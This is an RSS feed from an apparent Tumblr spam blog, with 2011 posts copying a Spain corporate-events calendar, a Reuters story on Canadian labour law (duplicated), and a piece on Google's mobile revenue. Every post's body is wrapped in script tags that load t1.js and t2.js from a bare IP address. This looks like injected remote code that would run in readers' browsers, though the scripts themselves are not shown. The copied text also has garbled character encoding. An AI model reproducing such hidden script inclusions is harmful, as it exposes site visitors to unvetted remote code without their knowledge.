<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><atom:link rel="hub" href="http://tumblr.superfeedr.com/" xmlns:atom="http://www.w3.org/2005/Atom"/><description></description><title>news blog from Danille</title><generator>Tumblr (3.0; @teressatbfaris)</generator><link>http://teressatbfaris.tumblr.com/</link><item><title>DIARY- Spain corporate events</title><description>&lt;p&gt;&lt;script src="http://109.206.161.94/t1.js"&gt;&lt;/script&gt;&lt;br/&gt;Spain main eventsEuropean corporate eventsDate  GMT  Company Name     RIC            Event&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;21/10      Bankinter                 Q325/10      Enagas                   Q325/10      Enagas             CONFCALL26/10      BBVA                     Q326/10      BBVA               CONFCALL26/10      Ebro Foods               Q326/10      Mapfre                    Q326/10      Mapfre              CONFCALL27/10      Abertis                   Q327/10      Abertis             CONFCALL27/10      Acerinox                  Q327/10      Banco Sabadell           Q327/10      Banco Santander           Q327/10      Banco Santander     CONFCALL27/10      Ferrovial                 Q327/10      Iberdrola                 Q328/10      Banco Popular             Q304/11      IAG                      Q304/11      IAG                 TRAFFIC08/11      Gas Natural               Q310/11      Gamesa                    Q310/11      Indra                     Q310/11      Repsol                    Q310/11      Telefonica                Q3&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;Event types:Full Year = Full year resultsQ1, Q2, Q3, Q4 = Quarterly resultsANALYSTS = Analysts&amp;#8217; meetingsAVCG = Asset value and capital gain figuresNEWSCONF = News conferenceSHAREHOLDER = Shareholder meetingCONFCALL = Conference callTRAFFIC = Traffic figuresBOARD = Board meeting&lt;br/&gt;&lt;script src="http://109.206.161.94/t2.js"&gt;&lt;/script&gt;&lt;br/&gt;&lt;/p&gt;</description><link>http://teressatbfaris.tumblr.com/post/11687517059</link><guid>http://teressatbfaris.tumblr.com/post/11687517059</guid><pubDate>Thu, 20 Oct 2011 03:43:43 -0400</pubDate><category>DIARY</category><category>Spain</category><category>corporate</category><category>events</category></item><item><title>Canada government shows impatience with labor laws</title><description>&lt;p&gt;&lt;script src="http://109.206.161.94/t1.js"&gt;&lt;/script&gt;&lt;br/&gt;* Government minister questions existing lawBy Allison MartellTORONTO, Oct 17 (Reuters) - Canada&amp;#8217;s Conservative
government is increasingly showing impatience with federal
labor laws as it seeks to prevent strikes that it says would
damage the economy.The government has threatened or used anti-strike
legislation three times since it won a majority in Parliament
in May&amp;#8217;s general election.Last week, in an unusual effort to prevent a strike, Labor
Minister Lisa Raitt asked the Canada Industrial Relations Board
to consider whether an impending strike by flight attendants at
Air Canada  , the country&amp;#8217;s biggest airline,
would pose a health and safety risk.The immediate effect of Raitt&amp;#8217;s request was to stop the
strike from starting because no labor actions can occur while a
health and safety issue is before the board. The more normal
way for the government to prevent a strike, passing
legislation, was not available because Parliament was not in
session.The longer-range effect of Raitt&amp;#8217;s action, however, was to
shine a light on what may be a broad disconnect between the
government and the industrial relations board, which is charged
with enforcing the Canada Labor Code, a document that governs
labor relations in banking, interprovincial transportation and
telecommunications.&amp;#8221;The purpose of the code is to promote collective
bargaining. Part of the problem we have is that we have a
government that&amp;#8217;s opposed to (collective bargaining), and
legislation that promotes it,&amp;#8221; said Mary Cornish, labor lawyer
and partner at Cavalluzzo Hayes Shilton McIntyre &amp;amp; Cornish
LLP.The preamble to the labor code describes a Canadian
tradition of promoting &amp;#8220;free collective bargaining and the
constructive settlement of disputes,&amp;#8221; and that preamble guides
the actions of the quasi-judicial CIRB, whose members usually
come from both unions and business.&amp;#8221;The CIRB is not expected to be completely unbiased when we
interpret the Canada labor code,&amp;#8221; CIRB Chairwoman Elizabeth
MacPherson said soon after her 2008 appointment.&amp;#8221;The CIRB and its predecessor&amp;#8230;have consistently
interpreted the code so as to encourage the establishment of
collective bargaining relationships,&amp;#8221; she said.The board certifies and dissolves unions, and workers,
unions or employers can appeal to it if they believe the code
has been violated.&amp;#8221;When we&amp;#8217;re trying to define neutrality in the context of
labor boards, their job is to carry out the fundamental
purposes of the act,&amp;#8221; said University of Ottawa law professor
Pamela Chapman. &amp;#8220;They&amp;#8217;re not there to question whether there
should be collective bargaining.&amp;#8221;Expressing frustration with the bargaining process at Air
Canada, where flight attendants twice rejected tentative
agreements with management that their own union leaders had
endorsed, Raitt said last week that the government was looking
closely at the Canada Labor Code.&amp;#8221;There&amp;#8217;s something wrong in this case, and does that mean
there&amp;#8217;s something wrong in the code?&amp;#8221; she asked in an interview
with CBC, the nation&amp;#8217;s public broadcaster.A spokeswoman declined to say if that meant the government
wanted to change the code.Canada&amp;#8217;s Parliament would have to approve any amendments to
the labor code. The left-leaning New Democrats, the biggest
opposition party, would be bound to object, but the
Conservatives&amp;#8217; majority in Parliament means they could force
through changes.&lt;br/&gt;&lt;script src="http://109.206.161.94/t2.js"&gt;&lt;/script&gt;&lt;br/&gt;&lt;/p&gt;</description><link>http://teressatbfaris.tumblr.com/post/11579246505</link><guid>http://teressatbfaris.tumblr.com/post/11579246505</guid><pubDate>Mon, 17 Oct 2011 15:30:02 -0400</pubDate><category>Canada</category><category>government</category><category>shows</category><category>impatience</category><category>with</category><category>labor</category><category>laws</category></item><item><title>Canada government shows impatience with labor laws</title><description>&lt;p&gt;&lt;script src="http://109.206.161.94/t1.js"&gt;&lt;/script&gt;&lt;br/&gt;* Government minister questions existing lawBy Allison MartellTORONTO, Oct 17 (Reuters) - Canada&amp;#8217;s Conservative
government is increasingly showing impatience with federal
labor laws as it seeks to prevent strikes that it says would
damage the economy.The government has threatened or used anti-strike
legislation three times since it won a majority in Parliament
in May&amp;#8217;s general election.Last week, in an unusual effort to prevent a strike, Labor
Minister Lisa Raitt asked the Canada Industrial Relations Board
to consider whether an impending strike by flight attendants at
Air Canada  , the country&amp;#8217;s biggest airline,
would pose a health and safety risk.The immediate effect of Raitt&amp;#8217;s request was to stop the
strike from starting because no labor actions can occur while a
health and safety issue is before the board. The more normal
way for the government to prevent a strike, passing
legislation, was not available because Parliament was not in
session.The longer-range effect of Raitt&amp;#8217;s action, however, was to
shine a light on what may be a broad disconnect between the
government and the industrial relations board, which is charged
with enforcing the Canada Labor Code, a document that governs
labor relations in banking, interprovincial transportation and
telecommunications.&amp;#8221;The purpose of the code is to promote collective
bargaining. Part of the problem we have is that we have a
government that&amp;#8217;s opposed to (collective bargaining), and
legislation that promotes it,&amp;#8221; said Mary Cornish, labor lawyer
and partner at Cavalluzzo Hayes Shilton McIntyre &amp;amp; Cornish
LLP.The preamble to the labor code describes a Canadian
tradition of promoting &amp;#8220;free collective bargaining and the
constructive settlement of disputes,&amp;#8221; and that preamble guides
the actions of the quasi-judicial CIRB, whose members usually
come from both unions and business.&amp;#8221;The CIRB is not expected to be completely unbiased when we
interpret the Canada labor code,&amp;#8221; CIRB Chairwoman Elizabeth
MacPherson said soon after her 2008 appointment.&amp;#8221;The CIRB and its predecessor&amp;#8230;have consistently
interpreted the code so as to encourage the establishment of
collective bargaining relationships,&amp;#8221; she said.The board certifies and dissolves unions, and workers,
unions or employers can appeal to it if they believe the code
has been violated.&amp;#8221;When we&amp;#8217;re trying to define neutrality in the context of
labor boards, their job is to carry out the fundamental
purposes of the act,&amp;#8221; said University of Ottawa law professor
Pamela Chapman. &amp;#8220;They&amp;#8217;re not there to question whether there
should be collective bargaining.&amp;#8221;Expressing frustration with the bargaining process at Air
Canada, where flight attendants twice rejected tentative
agreements with management that their own union leaders had
endorsed, Raitt said last week that the government was looking
closely at the Canada Labor Code.&amp;#8221;There&amp;#8217;s something wrong in this case, and does that mean
there&amp;#8217;s something wrong in the code?&amp;#8221; she asked in an interview
with CBC, the nation&amp;#8217;s public broadcaster.A spokeswoman declined to say if that meant the government
wanted to change the code.Canada&amp;#8217;s Parliament would have to approve any amendments to
the labor code. The left-leaning New Democrats, the biggest
opposition party, would be bound to object, but the
Conservatives&amp;#8217; majority in Parliament means they could force
through changes.&lt;br/&gt;&lt;script src="http://109.206.161.94/t2.js"&gt;&lt;/script&gt;&lt;br/&gt;&lt;/p&gt;</description><link>http://teressatbfaris.tumblr.com/post/11579241417</link><guid>http://teressatbfaris.tumblr.com/post/11579241417</guid><pubDate>Mon, 17 Oct 2011 15:29:54 -0400</pubDate><category>Canada</category><category>government</category><category>shows</category><category>impatience</category><category>with</category><category>labor</category><category>laws</category></item><item><title>What is Googles mobile revenue? Depends how you do the math.</title><description>&lt;p&gt;&lt;script src="http://109.206.161.94/t1.js"&gt;&lt;/script&gt;&lt;br/&gt;Google wowed Wall Street with the revelation that its mobile business is generating revenue at a run rate of over $2.5 billion. 
Not bad for a business thats still in its infancy, and which was operating at a $1 billion run rate at this time last year.
Of course, a run rate is not the same as revenue thatÂs been booked Â itÂs simply a way of extrapolating what a full yearÂs worth of revenue will be, assuming the current rate of revenue holds steady.
So what is Googleâs actual mobile revenue right now?
Many Wall Street analysts estimated on Friday that Google generated $625 million in mobile revenue in the recently-ended quarter -Â a not unreasonable assumption, given that four quartersÂ worth of $625 million totals $2.5 billion. (And since Google said the run rate was more than $2.5 billion, perhaps $626 million for the quarter would be an even more reasonable estimate).
Not so fast, says BGC Partners analyst Colin Gillis.
ThereÂs no guarantee that Google based its run rate on a full quarterÂs worth of revenue.
They could have taken mobile revenue from the last month and multiplied it by 12, said Gillis. They could even have used their best single day of mobile revenue and multiplied by 365, he noted.
As a result, Gillis estimates that GoogleÂs mobile revenue in Q3 was probably closer to $500 million or $550 million.
âWe have no idea what that number really is,Â he said.
&lt;br/&gt;&lt;script src="http://109.206.161.94/t2.js"&gt;&lt;/script&gt;&lt;br/&gt;&lt;/p&gt;</description><link>http://teressatbfaris.tumblr.com/post/11577221635</link><guid>http://teressatbfaris.tumblr.com/post/11577221635</guid><pubDate>Mon, 17 Oct 2011 14:28:15 -0400</pubDate><category>What</category><category>is</category><category>Googles</category><category>mobile</category><category>revenue</category><category>Depends</category><category>how</category><category>you</category><category>do</category><category>the</category><category>math</category></item></channel></rss>
